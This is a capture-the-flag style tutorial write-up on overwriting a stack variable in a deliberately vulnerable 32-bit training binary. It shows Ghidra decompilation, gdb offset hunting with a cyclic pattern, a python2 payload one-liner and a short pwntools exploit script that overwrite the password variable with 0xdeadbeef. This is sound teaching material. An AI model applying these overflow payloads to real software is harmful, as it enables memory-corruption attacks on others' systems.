Skip to content

Latest commit

 

History

History
463 lines (434 loc) · 30.7 KB

File metadata and controls

463 lines (434 loc) · 30.7 KB

Level 02

Moving on to the third level. This is where things start to get fun! Looking in the directory, wee see exploit.py overwrite overwrite.c. As always, lets run overwrite to see what it does:

$ chmod +x overwrite
$ ./overwrite
yes? yes
12345678
...

Ok, so this is not helpful. It looks like just some random prompt. Lets try to overflow it:

$ ./overwrite
yes? aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
61616161
...

This gives us a little more info. It looks like we overflowed it since 0x61 is the hex ascii value for 'a'. Lets do our normal file checks:

$ file overwrite
overwrite: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=094cbdd4694e5f4aeb958401302aadc77be2c5f0, for GNU/Linux 3.2.0, not stripped

$ checksec --file=overwrite
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable   FILE
Partial RELRO   No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   70 Symbols        No    0               2             overwrite

This looks normal. We also note this is a 32-bit binary. Time for ghidra. We see two functions now! main and do_input. We see that main looks like this

/* WARNING: Function: __x86.get_pc_thunk.ax replaced with injection: get_pc_thunk_ax */

undefined4 main(void)

{
  do_input();
  return 0;
}

and simply just calls do_input() which presumably handles our input. Lets check out that function

/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */

void do_input(void)

{
  char inputBuffer [32];
  int password;
  
  password = 0x12345678;
  printf("yes? ");
  fflush(stdout);
  gets(inputBuffer);
  if (password == L'\xdeadbeef') {
    puts("good job!!");
    printf("%04x\n",password);
    fflush(stdout);
  }
  else {
    printf("%04x\n",password);
    puts("...");
    fflush(stdout);
  }
  return;
}

This is an interesting function. It sets up a buffer, makes a password of 0x12345678 and then checks if the password has magically changed to 0xdeadbeef. If it somehow has, then we get a "good job" printed, if not nothing fun happens. We see that our input buffer is 32 bytes and that the dangerous gets() function is used. Since this is a local variable and in 32-bit, we know that the value for this is stored directly on the stack. This means that we could potentially overflow the inputBuffer and overwrite the value of password. First, we need to know a bunch of things.

We need to find out where the buffer space ends, and where the "overflowing" begins. This is not simply 32 bytes. There is other data pushed onto the stack so we need to manually (for now) calculate it. First we will run the following

$ pwn cyclic 100
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa

This generates a 100 byte cyclic pattern string that we use as input. This way, when we see parts of it in the stack and registers, we'll know exactly how many bytes that is. Lets run gdb and figure that out. Set a breakpoint at the cmp statement with 0xdeadbeef.

$ gdb overwrite
gef➤  disas do_input
Dump of assembler code for function do_input:
   0x08049192 <+0>:     push   ebp
   0x08049193 <+1>:     mov    ebp,esp
   0x08049195 <+3>:     push   ebx
   0x08049196 <+4>:     sub    esp,0x34
   0x08049199 <+7>:     call   0x80490d0 <__x86.get_pc_thunk.bx>
   0x0804919e <+12>:    add    ebx,0x2e62
   0x080491a4 <+18>:    mov    DWORD PTR [ebp-0xc],0x12345678
   0x080491ab <+25>:    sub    esp,0xc
   0x080491ae <+28>:    lea    eax,[ebx-0x1ff8]
   0x080491b4 <+34>:    push   eax
   0x080491b5 <+35>:    call   0x8049030 <printf@plt>
   0x080491ba <+40>:    add    esp,0x10
   0x080491bd <+43>:    mov    eax,DWORD PTR [ebx-0x4]
   0x080491c3 <+49>:    mov    eax,DWORD PTR [eax]
   0x080491c5 <+51>:    sub    esp,0xc
   0x080491c8 <+54>:    push   eax
   0x080491c9 <+55>:    call   0x8049040 <fflush@plt>
   0x080491ce <+60>:    add    esp,0x10
   0x080491d1 <+63>:    sub    esp,0xc
   0x080491d4 <+66>:    lea    eax,[ebp-0x2c]
   0x080491d7 <+69>:    push   eax
   0x080491d8 <+70>:    call   0x8049050 <gets@plt>
   0x080491dd <+75>:    add    esp,0x10
   0x080491e0 <+78>:    cmp    DWORD PTR [ebp-0xc],0xdeadbeef
   0x080491e7 <+85>:    jne    0x8049226 <do_input+148>
   0x080491e9 <+87>:    sub    esp,0xc
   0x080491ec <+90>:    lea    eax,[ebx-0x1ff2]
   0x080491f2 <+96>:    push   eax
   0x080491f3 <+97>:    call   0x8049060 <puts@plt>
   0x080491f8 <+102>:   add    esp,0x10
   0x080491fb <+105>:   sub    esp,0x8
   0x080491fe <+108>:   push   DWORD PTR [ebp-0xc]
   0x08049201 <+111>:   lea    eax,[ebx-0x1fe7]
   0x08049207 <+117>:   push   eax
   0x08049208 <+118>:   call   0x8049030 <printf@plt>
   0x0804920d <+123>:   add    esp,0x10
   0x08049210 <+126>:   mov    eax,DWORD PTR [ebx-0x4]
   0x08049216 <+132>:   mov    eax,DWORD PTR [eax]
   0x08049218 <+134>:   sub    esp,0xc
   0x0804921b <+137>:   push   eax
   0x0804921c <+138>:   call   0x8049040 <fflush@plt>
   0x08049221 <+143>:   add    esp,0x10
   0x08049224 <+146>:   jmp    0x8049261 <do_input+207>
   0x08049226 <+148>:   sub    esp,0x8
   0x08049229 <+151>:   push   DWORD PTR [ebp-0xc]
   0x0804922c <+154>:   lea    eax,[ebx-0x1fe7]
   0x08049232 <+160>:   push   eax
   0x08049233 <+161>:   call   0x8049030 <printf@plt>
   0x08049238 <+166>:   add    esp,0x10
   0x0804923b <+169>:   sub    esp,0xc
   0x0804923e <+172>:   lea    eax,[ebx-0x1fe1]
   0x08049244 <+178>:   push   eax
   0x08049245 <+179>:   call   0x8049060 <puts@plt>
   0x0804924a <+184>:   add    esp,0x10
   0x0804924d <+187>:   mov    eax,DWORD PTR [ebx-0x4]
   0x08049253 <+193>:   mov    eax,DWORD PTR [eax]
   0x08049255 <+195>:   sub    esp,0xc
   0x08049258 <+198>:   push   eax
   0x08049259 <+199>:   call   0x8049040 <fflush@plt>
   0x0804925e <+204>:   add    esp,0x10
   0x08049261 <+207>:   nop
   0x08049262 <+208>:   mov    ebx,DWORD PTR [ebp-0x4]
   0x08049265 <+211>:   leave  
   0x08049266 <+212>:   ret    
End of assembler dump.
gef➤  b *0x080491e0
Breakpoint 1 at 0x80491e0
gef➤ 

With this set we can then run the program and pass in our cyclic string when it prompts us

gef➤  r
Starting program: /home/vagrant/Desktop/practice/CTF/pwn/binary_exploitation_101/02-overwriting_stack_variables_part2/overwrite 
[*] Failed to find objfile or not a valid file format: [Errno 2] No such file or directory: 'system-supplied DSO at 0xf7fc7000'
[*] Failed to find objfile or not a valid file format: [Errno 2] No such file or directory: 'system-supplied DSO at 0xf7fc7000'
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
yes? aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa

Breakpoint 1, 0x080491e0 in do_input ()
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0xffffcf2c  →  "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama[...]"
$ebx   : 0x804c000  →  0x804bf10  →  <_DYNAMIC+0> add DWORD PTR [eax], eax
$ecx   : 0xf7e1e9c4  →  0x00000000
$edx   : 0x1       
$esp   : 0xffffcf20  →  0xf7fc7550  →  <__kernel_vsyscall+0> push ecx
$ebp   : 0xffffcf58  →  "laaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxa[...]"
$esi   : 0x8049290  →  <__libc_csu_init+0> push ebp
$edi   : 0xf7ffcb80  →  0x00000000
$eip   : 0x80491e0  →  <do_input+78> cmp DWORD PTR [ebp-0xc], 0xdeadbeef
$eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63 
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffcf20│+0x0000: 0xf7fc7550  →  <__kernel_vsyscall+0> push ecx        ← $esp
0xffffcf24│+0x0004: 0x00000000
0xffffcf28│+0x0008: 0xf7c1ca2f  →  "_dl_audit_preinit"
0xffffcf2c│+0x000c: "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama[...]"
0xffffcf30│+0x0010: "baaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaana[...]"
0xffffcf34│+0x0014: "caaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoa[...]"
0xffffcf38│+0x0018: "daaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapa[...]"
0xffffcf3c│+0x001c: "eaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqa[...]"
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
    0x80491d7 <do_input+69>    push   eax
    0x80491d8 <do_input+70>    call   0x8049050 <gets@plt>
    0x80491dd <do_input+75>    add    esp, 0x10
 →  0x80491e0 <do_input+78>    cmp    DWORD PTR [ebp-0xc], 0xdeadbeef
    0x80491e7 <do_input+85>    jne    0x8049226 <do_input+148>
    0x80491e9 <do_input+87>    sub    esp, 0xc
    0x80491ec <do_input+90>    lea    eax, [ebx-0x1ff2]
    0x80491f2 <do_input+96>    push   eax
    0x80491f3 <do_input+97>    call   0x8049060 <puts@plt>
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "overwrite", stopped 0x80491e0 in do_input (), reason: BREAKPOINT
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x80491e0 → do_input()
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0xffffcf2c  →  "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama[...]"
$ebx   : 0x804c000  →  0x804bf10  →  <_DYNAMIC+0> add DWORD PTR [eax], eax
$ecx   : 0xf7e1e9c4  →  0x00000000
$edx   : 0x1       
$esp   : 0xffffcf20  →  0xf7fc7550  →  <__kernel_vsyscall+0> push ecx
$ebp   : 0xffffcf58  →  "laaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxa[...]"
$esi   : 0x8049290  →  <__libc_csu_init+0> push ebp
$edi   : 0xf7ffcb80  →  0x00000000
$eip   : 0x80491e0  →  <do_input+78> cmp DWORD PTR [ebp-0xc], 0xdeadbeef
$eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63 
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffcf20│+0x0000: 0xf7fc7550  →  <__kernel_vsyscall+0> push ecx        ← $esp
0xffffcf24│+0x0004: 0x00000000
0xffffcf28│+0x0008: 0xf7c1ca2f  →  "_dl_audit_preinit"
0xffffcf2c│+0x000c: "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama[...]"
0xffffcf30│+0x0010: "baaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaana[...]"
0xffffcf34│+0x0014: "caaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoa[...]"
0xffffcf38│+0x0018: "daaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapa[...]"
0xffffcf3c│+0x001c: "eaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqa[...]"
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
    0x80491d7 <do_input+69>    push   eax
    0x80491d8 <do_input+70>    call   0x8049050 <gets@plt>
    0x80491dd <do_input+75>    add    esp, 0x10
 →  0x80491e0 <do_input+78>    cmp    DWORD PTR [ebp-0xc], 0xdeadbeef
    0x80491e7 <do_input+85>    jne    0x8049226 <do_input+148>
    0x80491e9 <do_input+87>    sub    esp, 0xc
    0x80491ec <do_input+90>    lea    eax, [ebx-0x1ff2]
    0x80491f2 <do_input+96>    push   eax
    0x80491f3 <do_input+97>    call   0x8049060 <puts@plt>
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "overwrite", stopped 0x80491e0 in do_input (), reason: BREAKPOINT
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x80491e0 → do_input()
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤

I know that looks like a lot. But only focus on where the arrow is just a couple of lines above this. That is telling us what instruction we are currently on. We see that it is comparing ebp - 0xc with 0xdeadbeef. This means, we need out input to overwrite whatever is at ebp - 0xc. We can look at it by doing

gef➤  x $ebp - 0xc
0xffffcf4c:     0x61616169
gef➤

Lets 'unhex' that and see what it is:

$ pwn unhex 61616169
aaai

REMEMBER!!! This is in little endian so the real string is iaaa. That tells us the position in our input string that is stored in that memory. To get the bytes run

$ pwn cyclic -l iaaa
32

This tells us that we need to overflow the buffer by 32 bytes and then enter our payload of 0xdeadbeef. Lets try just to make sure we have the proper data. We will run gdb with 32 a's and then four B's. If we are correct, then our four B's will end up in $ebp - 0xc. Follow the same steps above for setting a breakpoint and then when prompted with the input enter:

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaBBBB
gef➤  disas do_input
Dump of assembler code for function do_input:
   0x08049192 <+0>:     push   ebp
   0x08049193 <+1>:     mov    ebp,esp
   0x08049195 <+3>:     push   ebx
   0x08049196 <+4>:     sub    esp,0x34
   0x08049199 <+7>:     call   0x80490d0 <__x86.get_pc_thunk.bx>
   0x0804919e <+12>:    add    ebx,0x2e62
   0x080491a4 <+18>:    mov    DWORD PTR [ebp-0xc],0x12345678
   0x080491ab <+25>:    sub    esp,0xc
   0x080491ae <+28>:    lea    eax,[ebx-0x1ff8]
   0x080491b4 <+34>:    push   eax
   0x080491b5 <+35>:    call   0x8049030 <printf@plt>
   0x080491ba <+40>:    add    esp,0x10
   0x080491bd <+43>:    mov    eax,DWORD PTR [ebx-0x4]
   0x080491c3 <+49>:    mov    eax,DWORD PTR [eax]
   0x080491c5 <+51>:    sub    esp,0xc
   0x080491c8 <+54>:    push   eax
   0x080491c9 <+55>:    call   0x8049040 <fflush@plt>
   0x080491ce <+60>:    add    esp,0x10
   0x080491d1 <+63>:    sub    esp,0xc
   0x080491d4 <+66>:    lea    eax,[ebp-0x2c]
   0x080491d7 <+69>:    push   eax
   0x080491d8 <+70>:    call   0x8049050 <gets@plt>
   0x080491dd <+75>:    add    esp,0x10
   0x080491e0 <+78>:    cmp    DWORD PTR [ebp-0xc],0xdeadbeef
   0x080491e7 <+85>:    jne    0x8049226 <do_input+148>
   0x080491e9 <+87>:    sub    esp,0xc
   0x080491ec <+90>:    lea    eax,[ebx-0x1ff2]
   0x080491f2 <+96>:    push   eax
   0x080491f3 <+97>:    call   0x8049060 <puts@plt>
   0x080491f8 <+102>:   add    esp,0x10
   0x080491fb <+105>:   sub    esp,0x8
   0x080491fe <+108>:   push   DWORD PTR [ebp-0xc]
   0x08049201 <+111>:   lea    eax,[ebx-0x1fe7]
   0x08049207 <+117>:   push   eax
   0x08049208 <+118>:   call   0x8049030 <printf@plt>
   0x0804920d <+123>:   add    esp,0x10
   0x08049210 <+126>:   mov    eax,DWORD PTR [ebx-0x4]
   0x08049216 <+132>:   mov    eax,DWORD PTR [eax]
   0x08049218 <+134>:   sub    esp,0xc
   0x0804921b <+137>:   push   eax
   0x0804921c <+138>:   call   0x8049040 <fflush@plt>
   0x08049221 <+143>:   add    esp,0x10
   0x08049224 <+146>:   jmp    0x8049261 <do_input+207>
   0x08049226 <+148>:   sub    esp,0x8
   0x08049229 <+151>:   push   DWORD PTR [ebp-0xc]
   0x0804922c <+154>:   lea    eax,[ebx-0x1fe7]
   0x08049232 <+160>:   push   eax
   0x08049233 <+161>:   call   0x8049030 <printf@plt>
   0x08049238 <+166>:   add    esp,0x10
   0x0804923b <+169>:   sub    esp,0xc
   0x0804923e <+172>:   lea    eax,[ebx-0x1fe1]
   0x08049244 <+178>:   push   eax
   0x08049245 <+179>:   call   0x8049060 <puts@plt>
   0x0804924a <+184>:   add    esp,0x10
   0x0804924d <+187>:   mov    eax,DWORD PTR [ebx-0x4]
   0x08049253 <+193>:   mov    eax,DWORD PTR [eax]
   0x08049255 <+195>:   sub    esp,0xc
   0x08049258 <+198>:   push   eax
   0x08049259 <+199>:   call   0x8049040 <fflush@plt>
   0x0804925e <+204>:   add    esp,0x10
   0x08049261 <+207>:   nop
   0x08049262 <+208>:   mov    ebx,DWORD PTR [ebp-0x4]
   0x08049265 <+211>:   leave  
   0x08049266 <+212>:   ret    
End of assembler dump.
gef➤  b *0x080491e0
Breakpoint 1 at 0x80491e0
gef➤  r
Starting program: /home/vagrant/Desktop/practice/CTF/pwn/binary_exploitation_101/02-overwriting_stack_variables_part2/overwrite 
[*] Failed to find objfile or not a valid file format: [Errno 2] No such file or directory: 'system-supplied DSO at 0xf7fc7000'
[*] Failed to find objfile or not a valid file format: [Errno 2] No such file or directory: 'system-supplied DSO at 0xf7fc7000'
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
yes? aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaBBBB

Breakpoint 1, 0x080491e0 in do_input ()
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0xffffcf2c  →  "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaBBBB"
$ebx   : 0x804c000  →  0x804bf10  →  <_DYNAMIC+0> add DWORD PTR [eax], eax
$ecx   : 0xf7e1e9c4  →  0x00000000
$edx   : 0x1       
$esp   : 0xffffcf20  →  0xf7fc7550  →  <__kernel_vsyscall+0> push ecx
$ebp   : 0xffffcf58  →  0xffffcf68  →  0x00000000
$esi   : 0x8049290  →  <__libc_csu_init+0> push ebp
$edi   : 0xf7ffcb80  →  0x00000000
$eip   : 0x80491e0  →  <do_input+78> cmp DWORD PTR [ebp-0xc], 0xdeadbeef
$eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63 
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffcf20│+0x0000: 0xf7fc7550  →  <__kernel_vsyscall+0> push ecx        ← $esp
0xffffcf24│+0x0004: 0x00000000
0xffffcf28│+0x0008: 0xf7c1ca2f  →  "_dl_audit_preinit"
0xffffcf2c│+0x000c: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaBBBB"
0xffffcf30│+0x0010: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaBBBB"
0xffffcf34│+0x0014: "aaaaaaaaaaaaaaaaaaaaaaaaBBBB"
0xffffcf38│+0x0018: "aaaaaaaaaaaaaaaaaaaaBBBB"
0xffffcf3c│+0x001c: "aaaaaaaaaaaaaaaaBBBB"
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
    0x80491d7 <do_input+69>    push   eax
    0x80491d8 <do_input+70>    call   0x8049050 <gets@plt>
    0x80491dd <do_input+75>    add    esp, 0x10
 →  0x80491e0 <do_input+78>    cmp    DWORD PTR [ebp-0xc], 0xdeadbeef
    0x80491e7 <do_input+85>    jne    0x8049226 <do_input+148>
    0x80491e9 <do_input+87>    sub    esp, 0xc
    0x80491ec <do_input+90>    lea    eax, [ebx-0x1ff2]
    0x80491f2 <do_input+96>    push   eax
    0x80491f3 <do_input+97>    call   0x8049060 <puts@plt>
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "overwrite", stopped 0x80491e0 in do_input (), reason: BREAKPOINT
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x80491e0 → do_input()
[#1] 0x804927c → main()
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0xffffcf2c  →  "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaBBBB"
$ebx   : 0x804c000  →  0x804bf10  →  <_DYNAMIC+0> add DWORD PTR [eax], eax
$ecx   : 0xf7e1e9c4  →  0x00000000
$edx   : 0x1       
$esp   : 0xffffcf20  →  0xf7fc7550  →  <__kernel_vsyscall+0> push ecx
$ebp   : 0xffffcf58  →  0xffffcf68  →  0x00000000
$esi   : 0x8049290  →  <__libc_csu_init+0> push ebp
$edi   : 0xf7ffcb80  →  0x00000000
$eip   : 0x80491e0  →  <do_input+78> cmp DWORD PTR [ebp-0xc], 0xdeadbeef
$eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63 
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffcf20│+0x0000: 0xf7fc7550  →  <__kernel_vsyscall+0> push ecx        ← $esp
0xffffcf24│+0x0004: 0x00000000
0xffffcf28│+0x0008: 0xf7c1ca2f  →  "_dl_audit_preinit"
0xffffcf2c│+0x000c: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaBBBB"
0xffffcf30│+0x0010: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaBBBB"
0xffffcf34│+0x0014: "aaaaaaaaaaaaaaaaaaaaaaaaBBBB"
0xffffcf38│+0x0018: "aaaaaaaaaaaaaaaaaaaaBBBB"
0xffffcf3c│+0x001c: "aaaaaaaaaaaaaaaaBBBB"
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
    0x80491d7 <do_input+69>    push   eax
    0x80491d8 <do_input+70>    call   0x8049050 <gets@plt>
    0x80491dd <do_input+75>    add    esp, 0x10
 →  0x80491e0 <do_input+78>    cmp    DWORD PTR [ebp-0xc], 0xdeadbeef
    0x80491e7 <do_input+85>    jne    0x8049226 <do_input+148>
    0x80491e9 <do_input+87>    sub    esp, 0xc
    0x80491ec <do_input+90>    lea    eax, [ebx-0x1ff2]
    0x80491f2 <do_input+96>    push   eax
    0x80491f3 <do_input+97>    call   0x8049060 <puts@plt>
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "overwrite", stopped 0x80491e0 in do_input (), reason: BREAKPOINT
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x80491e0 → do_input()
[#1] 0x804927c → main()
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  x $ebp - 0xc
0xffffcf4c:     0x42424242
gef➤  exit
                                                                                                                                               
┌──(vagrant㉿kali)-[~/…/CTF/pwn/binary_exploitation_101/02-overwriting_stack_variables_part2]
└─$ pwn unhex 42424242                                          
BBBB

YES! We were correct. The last thing to do is construct our payload with the correct data instead of BBBB. We can write a command line python script to do this for us:

$ python2 -c 'print "a" * 32 + "0xdeadbeef"'

However, this is incorrect. Since the file is in little endian, we need to reverse the bytes of 0xdeadbeef. The correct command is

$ python2 -c 'print "a" * 32 + "\xef\xbe\xad\xde"'

This will format the bytes correctly. If we run this, we get the following output

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaᆳ�

This is python trying to represent bytes as ascii characters. Unfortunately, we cant just copy and paste this as it wont work. We need to write this into a file and then pass the file to the program

$ python2 -c 'print "a" * 32 + "\xef\xbe\xad\xde"' > myPayload
$ ./overwrite < myPayload
yes? good job!!
deadbeef

YES! We did it! We were able to overflow the buffer and change the password that was being stored and read from the stack! If you wish, you can step through this in gdb to see how it works. Set up a breakpoint and everything like usual but instead of just running r, run it with r < myPayload.

We can also write an exploit script that will do this for us

# Start program
io = process('./overwrite')

# Send string to overflow buffer
io.sendlineafter(b'?', b'A' * 32 + p32(0xdeadbeef))

# Receive output
print(io.recvall().decode())

This is a simple script. Its starts the program, then waits for the '?' character, and then enters our payload of 32 a's and our password string. It then prints and decodes the output. The b's in the script are to turn the characters into bytes. Since this is a binary file, the characters we pass and that it returns are all bytes, so we need to match that.